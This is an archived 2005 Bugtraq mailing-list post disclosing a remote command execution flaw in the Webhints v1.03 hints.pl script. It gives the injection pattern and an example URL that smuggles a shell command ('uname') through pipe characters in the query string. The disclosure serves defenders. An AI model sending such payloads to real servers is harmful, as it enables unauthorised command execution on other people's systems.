Webhints v1.03 Remote Command Execution

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Webhints v1.03 Remote Command Execution
From: blahplok@xxxxxxxxx
Date: 9 Jun 2005 22:36:17 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Hi

This is a Vulnerablity in Webhints Scripts and user can Execute command by it .

www.example.com/hints.pl?|c0mmand|

Example : www.example.com/hints.pl?|uname|

Best Regards

Prev by Date: Voice VLAN Access/Abuse Possible on Cisco voice-enabled, 802.1x-secured Interfaces
Next by Date: Multiple vulnerabilities in Pico Server (pServ) v3.3
Previous by thread: Voice VLAN Access/Abuse Possible on Cisco voice-enabled, 802.1x-secured Interfaces
Next by thread: Multiple vulnerabilities in Pico Server (pServ) v3.3
Index(es):
- Date
- Thread